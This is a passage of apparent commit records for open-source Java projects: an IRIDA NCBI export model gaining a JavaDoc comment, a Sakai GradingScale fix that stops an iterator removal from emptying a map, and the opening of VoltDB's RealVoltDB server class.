return libraryConstructionProtocol;
}
public String getStatus() {
return status;
}
public String getAccession() {
return accession;
}
public List<SingleEndSequenceFileModel> getSingles() {
return singles;
}
public List<PairedEndSequenceFileModel> getPairs() {
return pairs;
}
} | src/main/java/ca/corefacility/bioinformatics/irida/ria/web/models/export/NcbiBioSampleFilesModel.java | package ca.corefacility.bioinformatics.irida.ria.web.models.export;
import java.util.List;
import java.util.stream.Collectors;
import ca.corefacility.bioinformatics.irida.model.export.NcbiBioSampleFiles;
import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.PairedEndSequenceFileModel;
import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.SingleEndSequenceFileModel;
public class NcbiBioSampleFilesModel {
private final String id;
private final String bioSample;
private final String instrumentModel;
private final String libraryName;
private final String librarySelection;
private final String librarySource;
private final String libraryStrategy;
private final String libraryConstructionProtocol;
private final String status;
private final String accession;
private final List<SingleEndSequenceFileModel> singles;
private final List<PairedEndSequenceFileModel> pairs;
public NcbiBioSampleFilesModel(NcbiBioSampleFiles bioSample) {
this.id = bioSample.getId();
this.bioSample = bioSample.getBioSample();
this.instrumentModel = bioSample.getInstrumentModel().getValue();
this.libraryName = bioSample.getLibraryName();
this.librarySelection = bioSample.getLibrarySelection().getValue();
this.librarySource = bioSample.getLibrarySource().getValue();
this.libraryStrategy = bioSample.getLibraryStrategy().getValue();
this.libraryConstructionProtocol = bioSample.getLibraryConstructionProtocol();
this.status = bioSample.getSubmissionStatus().toString();
this.accession = bioSample.getAccession();
this.singles = bioSample.getFiles().stream().map(SingleEndSequenceFileModel::new).collect(Collectors.toList());
this.pairs = bioSample.getPairs().stream().map(PairedEndSequenceFileModel::new).collect(Collectors.toList());
}
public String getId() {
return id;
}
public String getBioSample() {
return bioSample;
}
public String getInstrumentModel() {
return instrumentModel;
}
public String getLibraryName() {
return libraryName;
}
public String getLibrarySelection() {
return librarySelection;
}
public String getLibrarySource() {
return librarySource;
}
public String getLibraryStrategy() {
return libraryStrategy;
}
public String getLibraryConstructionProtocol() {
return libraryConstructionProtocol;
}
public String getStatus() {
return status;
}
public String getAccession() {
return accession;
}
public List<SingleEndSequenceFileModel> getSingles() {
return singles;
}
public List<PairedEndSequenceFileModel> getPairs() {
return pairs;
}
} | Updated JavaDoc
| src/main/java/ca/corefacility/bioinformatics/irida/ria/web/models/export/NcbiBioSampleFilesModel.java | Updated JavaDoc | <ide><path>rc/main/java/ca/corefacility/bioinformatics/irida/ria/web/models/export/NcbiBioSampleFilesModel.java
<ide> import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.PairedEndSequenceFileModel;
<ide> import ca.corefacility.bioinformatics.irida.ria.web.models.sequenceFile.SingleEndSequenceFileModel;
<ide>
<add>/**
<add> * Describes an NCBI SRA Submission's BioSamples's files for the UI.
<add> */
<ide> public class NcbiBioSampleFilesModel {
<ide> private final String id;
<ide> private final String bioSample; |
|
Java | apache-2.0 | 9585c497d2aa9f19474d49bba364727ef71cb4ce | 0 | kwedoff1/sakai,bzhouduke123/sakai,frasese/sakai,frasese/sakai,duke-compsci290-spring2016/sakai,frasese/sakai,ouit0408/sakai,joserabal/sakai,OpenCollabZA/sakai,duke-compsci290-spring2016/sakai,buckett/sakai-gitflow,zqian/sakai,ktakacs/sakai,joserabal/sakai,willkara/sakai,clhedrick/sakai,rodriguezdevera/sakai,liubo404/sakai,pushyamig/sakai,zqian/sakai,willkara/sakai,Fudan-University/sakai,zqian/sakai,bzhouduke123/sakai,buckett/sakai-gitflow,clhedrick/sakai,clhedrick/sakai,liubo404/sakai,bzhouduke123/sakai,pushyamig/sakai,duke-compsci290-spring2016/sakai,OpenCollabZA/sakai,kwedoff1/sakai,buckett/sakai-gitflow,frasese/sakai,clhedrick/sakai,kwedoff1/sakai,zqian/sakai,Fudan-University/sakai,bzhouduke123/sakai,ktakacs/sakai,conder/sakai,ouit0408/sakai,pushyamig/sakai,conder/sakai,liubo404/sakai,bzhouduke123/sakai,conder/sakai,frasese/sakai,kwedoff1/sakai,pushyamig/sakai,joserabal/sakai,kwedoff1/sakai,pushyamig/sakai,buckett/sakai-gitflow,willkara/sakai,lorenamgUMU/sakai,kwedoff1/sakai,clhedrick/sakai,ouit0408/sakai,buckett/sakai-gitflow,conder/sakai,lorenamgUMU/sakai,duke-compsci290-spring2016/sakai,liubo404/sakai,OpenCollabZA/sakai,colczr/sakai,rodriguezdevera/sakai,colczr/sakai,Fudan-University/sakai,bzhouduke123/sakai,ktakacs/sakai,joserabal/sakai,kwedoff1/sakai,rodriguezdevera/sakai,duke-compsci290-spring2016/sakai,ktakacs/sakai,OpenCollabZA/sakai,willkara/sakai,Fudan-University/sakai,willkara/sakai,frasese/sakai,lorenamgUMU/sakai,ktakacs/sakai,colczr/sakai,Fudan-University/sakai,clhedrick/sakai,rodriguezdevera/sakai,colczr/sakai,ktakacs/sakai,liubo404/sakai,conder/sakai,frasese/sakai,Fudan-University/sakai,pushyamig/sakai,rodriguezdevera/sakai,willkara/sakai,bzhouduke123/sakai,joserabal/sakai,zqian/sakai,lorenamgUMU/sakai,conder/sakai,conder/sakai,joserabal/sakai,frasese/sakai,liubo404/sakai,buckett/sakai-gitflow,rodriguezdevera/sakai,kwedoff1/sakai,bzhouduke123/sakai,ktakacs/sakai,lorenamgUMU/sakai,Fudan-University/sakai,rodriguezdevera/sakai,conder/sakai,lorenamgUMU/sakai,ouit0408/sakai,clhedrick/sakai,zqian/sakai,ouit0408/sakai,joserabal/sakai,OpenCollabZA/sakai,clhedrick/sakai,liubo404/sakai,buckett/sakai-gitflow,willkara/sakai,ktakacs/sakai,ouit0408/sakai,willkara/sakai,pushyamig/sakai,lorenamgUMU/sakai,colczr/sakai,duke-compsci290-spring2016/sakai,zqian/sakai,joserabal/sakai,OpenCollabZA/sakai,Fudan-University/sakai,ouit0408/sakai,duke-compsci290-spring2016/sakai,lorenamgUMU/sakai,duke-compsci290-spring2016/sakai,colczr/sakai,colczr/sakai,rodriguezdevera/sakai,OpenCollabZA/sakai,pushyamig/sakai,colczr/sakai,buckett/sakai-gitflow,ouit0408/sakai,liubo404/sakai,zqian/sakai,OpenCollabZA/sakai | /**********************************************************************************
*
* $Id$
*
***********************************************************************************
*
* Copyright (c) 2006, 2007, 2008 The Sakai Foundation
*
* Licensed under the Educational Community License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.opensource.org/licenses/ECL-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************************/
package org.sakaiproject.tool.gradebook;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.apache.commons.lang.builder.ToStringBuilder;
import org.sakaiproject.service.gradebook.shared.GradingScaleDefinition;
public class GradingScale implements Serializable, Comparable {
private Long id;
private int version;
private String uid;
private String name;
private List<String> grades;
private Map<String, Double> defaultBottomPercents; // From grade to percentage
private boolean unavailable;
public Map<String, Double> getDefaultBottomPercents() {
return defaultBottomPercents;
}
public void setDefaultBottomPercents(Map<String, Double> defaultBottomPercents) {
this.defaultBottomPercents = defaultBottomPercents;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
/**
* Because the Gradebook now supports non-calculated manual-only grades with
* no percentage equivalent, it is possible for the list of grades to include
* codes that are not included in the defaultBottomPercents map. In other
* words, callers shouldn't expect getDefaultBottomPercents.keySet() to be
* equivalent to this list.
* @return list of supported grade codes, ordered from highest to lowest
*/
public List<String> getGrades() {
return grades;
}
public void setGrades(List<String> grades) {
this.grades = grades;
}
public boolean isUnavailable() {
return unavailable;
}
public void setUnavailable(boolean unavailable) {
this.unavailable = unavailable;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public int getVersion() {
return version;
}
public void setVersion(int version) {
this.version = version;
}
public int compareTo(Object o) {
return getName().compareTo(((GradingScale)o).getName());
}
public String toString() {
return new ToStringBuilder(this).
append(getUid()).toString();
}
/**
* Convert this GradeingScale instance to a GradingScaleDefinition
* @return
*/
public GradingScaleDefinition toGradingScaleDefinition(){
GradingScaleDefinition scaleDef = new GradingScaleDefinition();
scaleDef.setUid(this.getUid());
scaleDef.setName(this.getName());
Map<String, Double> mapBottomPercents = this.getDefaultBottomPercents();
scaleDef.setDefaultBottomPercents(mapBottomPercents);
//build the bottom percents as a list as well
List<Object> listBottomPercents = new ArrayList<>();
List<String> grades = new ArrayList<>();
for(Map.Entry<String, Double> pair : mapBottomPercents.entrySet()) {
listBottomPercents.add(pair.getValue());
grades.add(pair.getKey().toString());
}
scaleDef.setGrades(grades);
scaleDef.setDefaultBottomPercentsAsList(listBottomPercents);
return scaleDef;
}
}
| edu-services/gradebook-service/hibernate/src/java/org/sakaiproject/tool/gradebook/GradingScale.java | /**********************************************************************************
*
* $Id$
*
***********************************************************************************
*
* Copyright (c) 2006, 2007, 2008 The Sakai Foundation
*
* Licensed under the Educational Community License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.opensource.org/licenses/ECL-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************************/
package org.sakaiproject.tool.gradebook;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import org.apache.commons.lang.builder.ToStringBuilder;
import org.sakaiproject.service.gradebook.shared.GradingScaleDefinition;
public class GradingScale implements Serializable, Comparable {
private Long id;
private int version;
private String uid;
private String name;
private List<String> grades;
private Map<String, Double> defaultBottomPercents; // From grade to percentage
private boolean unavailable;
public Map<String, Double> getDefaultBottomPercents() {
return defaultBottomPercents;
}
public void setDefaultBottomPercents(Map<String, Double> defaultBottomPercents) {
this.defaultBottomPercents = defaultBottomPercents;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
/**
* Because the Gradebook now supports non-calculated manual-only grades with
* no percentage equivalent, it is possible for the list of grades to include
* codes that are not included in the defaultBottomPercents map. In other
* words, callers shouldn't expect getDefaultBottomPercents.keySet() to be
* equivalent to this list.
* @return list of supported grade codes, ordered from highest to lowest
*/
public List<String> getGrades() {
return grades;
}
public void setGrades(List<String> grades) {
this.grades = grades;
}
public boolean isUnavailable() {
return unavailable;
}
public void setUnavailable(boolean unavailable) {
this.unavailable = unavailable;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public int getVersion() {
return version;
}
public void setVersion(int version) {
this.version = version;
}
public int compareTo(Object o) {
return getName().compareTo(((GradingScale)o).getName());
}
public String toString() {
return new ToStringBuilder(this).
append(getUid()).toString();
}
/**
* Convert this GradeingScale instance to a GradingScaleDefinition
* @return
*/
public GradingScaleDefinition toGradingScaleDefinition(){
GradingScaleDefinition scaleDef = new GradingScaleDefinition();
scaleDef.setUid(this.getUid());
scaleDef.setName(this.getName());
Map<String, Double> mapBottomPercents = this.getDefaultBottomPercents();
scaleDef.setDefaultBottomPercents(mapBottomPercents);
List<Object> listBottomPercents = new ArrayList<>();
List<String> grades = new ArrayList<>();
Iterator mapBottomPercentsIter = mapBottomPercents.entrySet().iterator();
while (mapBottomPercentsIter.hasNext()) {
Map.Entry pair = (Map.Entry)mapBottomPercentsIter.next();
listBottomPercents.add(pair.getValue());
grades.add(pair.getKey().toString());
mapBottomPercentsIter.remove();
}
scaleDef.setGrades(grades);
scaleDef.setDefaultBottomPercentsAsList(listBottomPercents);
return scaleDef;
}
}
| SAK-29740 fix the bug in the method that was added recently. The call to remove() affects the underlying collection that we want to return and is unnecessary as it can be done with a for style iteration instead.
| edu-services/gradebook-service/hibernate/src/java/org/sakaiproject/tool/gradebook/GradingScale.java | SAK-29740 fix the bug in the method that was added recently. The call to remove() affects the underlying collection that we want to return and is unnecessary as it can be done with a for style iteration instead. | <ide><path>du-services/gradebook-service/hibernate/src/java/org/sakaiproject/tool/gradebook/GradingScale.java
<ide> Map<String, Double> mapBottomPercents = this.getDefaultBottomPercents();
<ide> scaleDef.setDefaultBottomPercents(mapBottomPercents);
<ide>
<add> //build the bottom percents as a list as well
<ide> List<Object> listBottomPercents = new ArrayList<>();
<ide> List<String> grades = new ArrayList<>();
<del> Iterator mapBottomPercentsIter = mapBottomPercents.entrySet().iterator();
<del> while (mapBottomPercentsIter.hasNext()) {
<del> Map.Entry pair = (Map.Entry)mapBottomPercentsIter.next();
<add> for(Map.Entry<String, Double> pair : mapBottomPercents.entrySet()) {
<ide> listBottomPercents.add(pair.getValue());
<ide> grades.add(pair.getKey().toString());
<del> mapBottomPercentsIter.remove();
<ide> }
<ide> scaleDef.setGrades(grades);
<ide> scaleDef.setDefaultBottomPercentsAsList(listBottomPercents);
<add>
<ide> return scaleDef;
<ide> }
<ide> |
|
Java | agpl-3.0 | fc6f4349bf8932b5d65cb872f916c1b8b7e7d95b | 0 | deerwalk/voltdb,simonzhangsm/voltdb,VoltDB/voltdb,deerwalk/voltdb,deerwalk/voltdb,migue/voltdb,deerwalk/voltdb,VoltDB/voltdb,migue/voltdb,simonzhangsm/voltdb,deerwalk/voltdb,deerwalk/voltdb,deerwalk/voltdb,migue/voltdb,VoltDB/voltdb,simonzhangsm/voltdb,simonzhangsm/voltdb,migue/voltdb,simonzhangsm/voltdb,VoltDB/voltdb,migue/voltdb,VoltDB/voltdb,simonzhangsm/voltdb,migue/voltdb,deerwalk/voltdb,migue/voltdb,migue/voltdb,VoltDB/voltdb,VoltDB/voltdb,simonzhangsm/voltdb,simonzhangsm/voltdb | /* This file is part of VoltDB.
* Copyright (C) 2008-2016 VoltDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as
* published by the Free Software Foundation, either version 3 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with VoltDB. If not, see <http://www.gnu.org/licenses/>.
*/
package org.voltdb;
import java.io.BufferedWriter;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
import java.util.Set;
import java.util.SortedMap;
import java.util.TreeMap;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.Future;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
import org.apache.cassandra_voltpatches.GCInspector;
import org.apache.log4j.Appender;
import org.apache.log4j.DailyRollingFileAppender;
import org.apache.log4j.FileAppender;
import org.apache.log4j.Logger;
import org.apache.zookeeper_voltpatches.CreateMode;
import org.apache.zookeeper_voltpatches.KeeperException;
import org.apache.zookeeper_voltpatches.WatchedEvent;
import org.apache.zookeeper_voltpatches.Watcher;
import org.apache.zookeeper_voltpatches.ZooDefs.Ids;
import org.apache.zookeeper_voltpatches.ZooKeeper;
import org.apache.zookeeper_voltpatches.data.Stat;
import org.json_voltpatches.JSONException;
import org.json_voltpatches.JSONObject;
import org.json_voltpatches.JSONStringer;
import org.voltcore.logging.Level;
import org.voltcore.logging.VoltLogger;
import org.voltcore.messaging.HostMessenger;
import org.voltcore.messaging.SiteMailbox;
import org.voltcore.utils.CoreUtils;
import org.voltcore.utils.OnDemandBinaryLogger;
import org.voltcore.utils.Pair;
import org.voltcore.utils.ShutdownHooks;
import org.voltcore.utils.VersionChecker;
import org.voltcore.zk.CoreZK;
import org.voltcore.zk.ZKCountdownLatch;
import org.voltcore.zk.ZKUtil;
import org.voltdb.TheHashinator.HashinatorType;
import org.voltdb.VoltDB.Configuration;
import org.voltdb.catalog.Catalog;
import org.voltdb.catalog.Cluster;
import org.voltdb.catalog.Database;
import org.voltdb.catalog.Deployment;
import org.voltdb.catalog.SnapshotSchedule;
import org.voltdb.catalog.Systemsettings;
import org.voltdb.common.NodeState;
import org.voltdb.compiler.AdHocCompilerCache;
import org.voltdb.compiler.AsyncCompilerAgent;
import org.voltdb.compiler.ClusterConfig;
import org.voltdb.compiler.deploymentfile.ClusterType;
import org.voltdb.compiler.deploymentfile.ConsistencyType;
import org.voltdb.compiler.deploymentfile.DeploymentType;
import org.voltdb.compiler.deploymentfile.HeartbeatType;
import org.voltdb.compiler.deploymentfile.PartitionDetectionType;
import org.voltdb.compiler.deploymentfile.PathsType;
import org.voltdb.compiler.deploymentfile.SystemSettingsType;
import org.voltdb.dtxn.InitiatorStats;
import org.voltdb.dtxn.LatencyHistogramStats;
import org.voltdb.dtxn.LatencyStats;
import org.voltdb.dtxn.SiteTracker;
import org.voltdb.export.ExportManager;
import org.voltdb.importer.ImportManager;
import org.voltdb.iv2.BaseInitiator;
import org.voltdb.iv2.Cartographer;
import org.voltdb.iv2.Initiator;
import org.voltdb.iv2.KSafetyStats;
import org.voltdb.iv2.LeaderAppointer;
import org.voltdb.iv2.MpInitiator;
import org.voltdb.iv2.SpInitiator;
import org.voltdb.iv2.SpScheduler.DurableUniqueIdListener;
import org.voltdb.iv2.TxnEgo;
import org.voltdb.jni.ExecutionEngine;
import org.voltdb.join.BalancePartitionsStatistics;
import org.voltdb.join.ElasticJoinService;
import org.voltdb.licensetool.LicenseApi;
import org.voltdb.messaging.VoltDbMessageFactory;
import org.voltdb.planner.ActivePlanRepository;
import org.voltdb.probe.MeshProber;
import org.voltdb.processtools.ShellTools;
import org.voltdb.rejoin.Iv2RejoinCoordinator;
import org.voltdb.rejoin.JoinCoordinator;
import org.voltdb.settings.ClusterSettings;
import org.voltdb.settings.ClusterSettingsRef;
import org.voltdb.settings.PathSettings;
import org.voltdb.settings.Settings;
import org.voltdb.settings.SettingsException;
import org.voltdb.utils.CLibrary;
import org.voltdb.utils.CatalogUtil;
import org.voltdb.utils.CatalogUtil.CatalogAndIds;
import org.voltdb.utils.Encoder;
import org.voltdb.utils.HTTPAdminListener;
import org.voltdb.utils.LogKeys;
import org.voltdb.utils.MiscUtils;
import org.voltdb.utils.PlatformProperties;
import org.voltdb.utils.SystemStatsCollector;
import org.voltdb.utils.VoltFile;
import org.voltdb.utils.VoltSampler;
import com.google_voltpatches.common.base.Charsets;
import com.google_voltpatches.common.base.Joiner;
import com.google_voltpatches.common.base.Preconditions;
import com.google_voltpatches.common.base.Supplier;
import com.google_voltpatches.common.base.Throwables;
import com.google_voltpatches.common.collect.ImmutableList;
import com.google_voltpatches.common.collect.ImmutableMap;
import com.google_voltpatches.common.net.HostAndPort;
import com.google_voltpatches.common.util.concurrent.ListenableFuture;
import com.google_voltpatches.common.util.concurrent.ListeningExecutorService;
import com.google_voltpatches.common.util.concurrent.SettableFuture;
/**
* RealVoltDB initializes global server components, like the messaging
* layer, ExecutionSite(s), and ClientInterface. It provides accessors
* or references to those global objects. It is basically the global
* namespace. A lot of the global namespace is described by VoltDBInterface
* to allow test mocking.
*/
public class RealVoltDB implements VoltDBInterface, RestoreAgent.Callback, HostMessenger.HostWatcher {
private static final boolean DISABLE_JMX = Boolean.valueOf(System.getProperty("DISABLE_JMX", "true"));
/** Default deployment file contents if path to deployment is null */
private static final String[] defaultDeploymentXML = {
"<?xml version=\"1.0\"?>",
"<!-- This file is an auto-generated default deployment configuration. -->",
"<deployment>",
" <cluster hostcount=\"1\" />",
" <httpd enabled=\"true\">",
" <jsonapi enabled=\"true\" />",
" </httpd>",
"</deployment>"
};
private final VoltLogger hostLog = new VoltLogger("HOST");
private final VoltLogger consoleLog = new VoltLogger("CONSOLE");
private VoltDB.Configuration m_config = new VoltDB.Configuration();
int m_configuredNumberOfPartitions;
int m_configuredReplicationFactor;
// CatalogContext is immutable, just make sure that accessors see a consistent version
volatile CatalogContext m_catalogContext;
// Managed voltdb directories settings
volatile private PathSettings m_paths;
// Cluster settings reference and supplier
final ClusterSettingsRef m_clusterSettings = new ClusterSettingsRef();
private String m_buildString;
static final String m_defaultVersionString = "6.7";
// by default set the version to only be compatible with itself
static final String m_defaultHotfixableRegexPattern = "^\\Q6.7\\E\\z";
// these next two are non-static because they can be overrriden on the CLI for test
private String m_versionString = m_defaultVersionString;
private String m_hotfixableRegexPattern = m_defaultHotfixableRegexPattern;
HostMessenger m_messenger = null;
private ClientInterface m_clientInterface = null;
HTTPAdminListener m_adminListener;
private OpsRegistrar m_opsRegistrar = new OpsRegistrar();
private AsyncCompilerAgent m_asyncCompilerAgent = null;
public AsyncCompilerAgent getAsyncCompilerAgent() { return m_asyncCompilerAgent; }
private PartitionCountStats m_partitionCountStats = null;
private IOStats m_ioStats = null;
private MemoryStats m_memoryStats = null;
private CpuStats m_cpuStats = null;
private CommandLogStats m_commandLogStats = null;
private StatsManager m_statsManager = null;
private SnapshotCompletionMonitor m_snapshotCompletionMonitor;
// These are unused locally, but they need to be registered with the StatsAgent so they're
// globally available
@SuppressWarnings("unused")
private InitiatorStats m_initiatorStats;
private LiveClientsStats m_liveClientsStats = null;
int m_myHostId;
String m_httpPortExtraLogMessage = null;
boolean m_jsonEnabled;
// IV2 things
TreeMap<Integer, Initiator> m_iv2Initiators = new TreeMap<>();
Cartographer m_cartographer = null;
LeaderAppointer m_leaderAppointer = null;
GlobalServiceElector m_globalServiceElector = null;
MpInitiator m_MPI = null;
Map<Integer, Long> m_iv2InitiatorStartingTxnIds = new HashMap<>();
private ScheduledFuture<?> resMonitorWork;
private NodeStateTracker m_statusTracker;
// Should the execution sites be started in recovery mode
// (used for joining a node to an existing cluster)
// If CL is enabled this will be set to true
// by the CL when the truncation snapshot completes
// and this node is viable for replay
volatile boolean m_rejoining = false;
// Need to separate the concepts of rejoin data transfer and rejoin
// completion. This boolean tracks whether or not the data transfer
// process is done. CL truncation snapshots will not flip the all-complete
// boolean until no mode data is pending.
// Yes, this is fragile having two booleans. We could aggregate them into
// some rejoining state enum at some point.
volatile boolean m_rejoinDataPending = false;
// Since m_rejoinDataPending is set asynchronously, sites could have inconsistent
// view of what the value is during the execution of a sysproc. Use this and
// m_safeMpTxnId to prevent the race. The m_safeMpTxnId is updated once in the
// lifetime of the node to reflect the first MP txn that witnessed the flip of
// m_rejoinDataPending.
private final Object m_safeMpTxnIdLock = new Object();
private long m_lastSeenMpTxnId = Long.MIN_VALUE;
private long m_safeMpTxnId = Long.MAX_VALUE;
String m_rejoinTruncationReqId = null;
// Are we adding the node to the cluster instead of rejoining?
volatile boolean m_joining = false;
private boolean m_shuttingdown = false;
long m_clusterCreateTime;
AtomicBoolean m_replicationActive = new AtomicBoolean(false);
private ProducerDRGateway m_producerDRGateway = null;
private ConsumerDRGateway m_consumerDRGateway = null;
//Only restrict recovery completion during test
static Semaphore m_testBlockRecoveryCompletion = new Semaphore(Integer.MAX_VALUE);
private long m_executionSiteRecoveryFinish;
private long m_executionSiteRecoveryTransferred;
// Rejoin coordinator
private JoinCoordinator m_joinCoordinator = null;
private ElasticJoinService m_elasticJoinService = null;
// Snapshot IO agent
private SnapshotIOAgent m_snapshotIOAgent = null;
// id of the leader, or the host restore planner says has the catalog
int m_hostIdWithStartupCatalog;
String m_pathToStartupCatalog;
// Synchronize initialize and shutdown
private final Object m_startAndStopLock = new Object();
// Synchronize updates of catalog contexts across the multiple sites on this host.
// Ensure that the first site to reach catalogUpdate() does all the work and that no
// others enter until that's finished. CatalogContext is immutable and volatile, accessors
// should be able to always get a valid context without needing this lock.
private final Object m_catalogUpdateLock = new Object();
// add a random number to the sampler output to make it likely to be unique for this process.
private final VoltSampler m_sampler = new VoltSampler(10, "sample" + String.valueOf(new Random().nextInt() % 10000) + ".txt");
private final AtomicBoolean m_hasStartedSampler = new AtomicBoolean(false);
List<Integer> m_partitionsToSitesAtStartupForExportInit;
RestoreAgent m_restoreAgent = null;
private final ListeningExecutorService m_es = CoreUtils.getCachedSingleThreadExecutor("StartAction ZK Watcher", 15000);
private volatile boolean m_isRunning = false;
private boolean m_isRunningWithOldVerb = true;
private boolean m_isBare = false;
private int m_maxThreadsCount;
@Override
public boolean isRunningWithOldVerbs() {
return m_isRunningWithOldVerb;
};
@Override
public boolean isShuttingdown() {
return m_shuttingdown;
}
@Override
public void setShuttingdown(boolean shuttingdown) {
m_shuttingdown = shuttingdown;
}
@Override
public boolean rejoining() {
return m_rejoining;
}
@Override
public boolean rejoinDataPending() {
return m_rejoinDataPending;
}
@Override
public boolean isMpSysprocSafeToExecute(long txnId)
{
synchronized (m_safeMpTxnIdLock) {
if (txnId >= m_safeMpTxnId) {
return true;
}
if (txnId > m_lastSeenMpTxnId) {
m_lastSeenMpTxnId = txnId;
if (!rejoinDataPending() && m_safeMpTxnId == Long.MAX_VALUE) {
m_safeMpTxnId = txnId;
}
}
return txnId >= m_safeMpTxnId;
}
}
private long m_recoveryStartTime;
CommandLog m_commandLog;
private volatile OperationMode m_mode = OperationMode.INITIALIZING;
private OperationMode m_startMode = null;
volatile String m_localMetadata = "";
private ListeningExecutorService m_computationService;
private Thread m_configLogger;
// methods accessed via the singleton
@Override
public void startSampler() {
if (m_hasStartedSampler.compareAndSet(false, true)) {
m_sampler.start();
}
}
private ScheduledThreadPoolExecutor m_periodicWorkThread;
private ScheduledThreadPoolExecutor m_periodicPriorityWorkThread;
// The configured license api: use to decide enterprise/community edition feature enablement
LicenseApi m_licenseApi;
String m_licenseInformation = "";
private LatencyStats m_latencyStats;
private LatencyHistogramStats m_latencyHistogramStats;
private File getConfigDirectory() {
return getConfigDirectory(m_config);
}
private File getConfigDirectory(Configuration config) {
return getConfigDirectory(config.m_voltdbRoot);
}
private File getConfigDirectory(File voltdbroot) {
return new VoltFile(voltdbroot, VoltDB.CONFIG_DIR);
}
private File getConfigLogDeployment() {
return getConfigLogDeployment(m_config);
}
private File getConfigLogDeployment(Configuration config) {
return new VoltFile(getConfigDirectory(config), "deployment.xml");
}
@Override
public LicenseApi getLicenseApi() {
return m_licenseApi;
}
@Override
public String getLicenseInformation() {
return m_licenseInformation;
}
@Override
public String getVoltDBRootPath(PathsType.Voltdbroot path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.getVoltDBRoot().getPath();
}
@Override
public String getCommandLogPath(PathsType.Commandlog path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getCommandLog()).getPath();
}
@Override
public String getCommandLogSnapshotPath(PathsType.Commandlogsnapshot path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getCommandLogSnapshot()).getPath();
}
@Override
public String getSnapshotPath(PathsType.Snapshots path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getSnapshoth()).getPath();
}
@Override
public String getExportOverflowPath(PathsType.Exportoverflow path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getExportOverflow()).getPath();
}
@Override
public String getDROverflowPath(PathsType.Droverflow path) {
if (isRunningWithOldVerbs()) {
return path.getPath();
}
return m_paths.resolve(m_paths.getDROverflow()).getPath();
}
@Override
public String getVoltDBRootPath() {
return m_paths.getVoltDBRoot().getPath();
}
@Override
public String getCommandLogPath() {
return m_paths.resolve(m_paths.getCommandLog()).getPath();
}
@Override
public String getCommandLogSnapshotPath() {
return m_paths.resolve(m_paths.getCommandLogSnapshot()).getPath();
}
@Override
public String getSnapshotPath() {
return m_paths.resolve(m_paths.getSnapshoth()).getPath();
}
@Override
public String getExportOverflowPath() {
return m_paths.resolve(m_paths.getExportOverflow()).getPath();
}
@Override
public String getDROverflowPath() {
return m_paths.resolve(m_paths.getDROverflow()).getPath();
}
private String managedPathEmptyCheck(String voltDbRoot, String path) {
VoltFile managedPath;
if (new File(path).isAbsolute())
managedPath = new VoltFile(path);
else
managedPath = new VoltFile(voltDbRoot, path);
if (managedPath.exists() && managedPath.list().length > 0)
return managedPath.getAbsolutePath();
return null;
}
private void managedPathsEmptyCheck(Configuration config) {
List<String> nonEmptyPaths = managedPathsWithFiles(config, m_catalogContext.getDeployment());
if (!nonEmptyPaths.isEmpty()) {
StringBuilder crashMessage =
new StringBuilder("Files from a previous database session exist in the managed directories:");
for (String nonEmptyPath : nonEmptyPaths) {
crashMessage.append("\n - " + nonEmptyPath);
}
crashMessage.append("\nUse the recover command to restore the previous database or use create --force" +
" to start a new database session overwriting existing files.");
VoltDB.crashLocalVoltDB(crashMessage.toString());
}
}
private List<String> managedPathsWithFiles(Configuration config, DeploymentType deployment) {
ImmutableList.Builder<String> nonEmptyPaths = ImmutableList.builder();
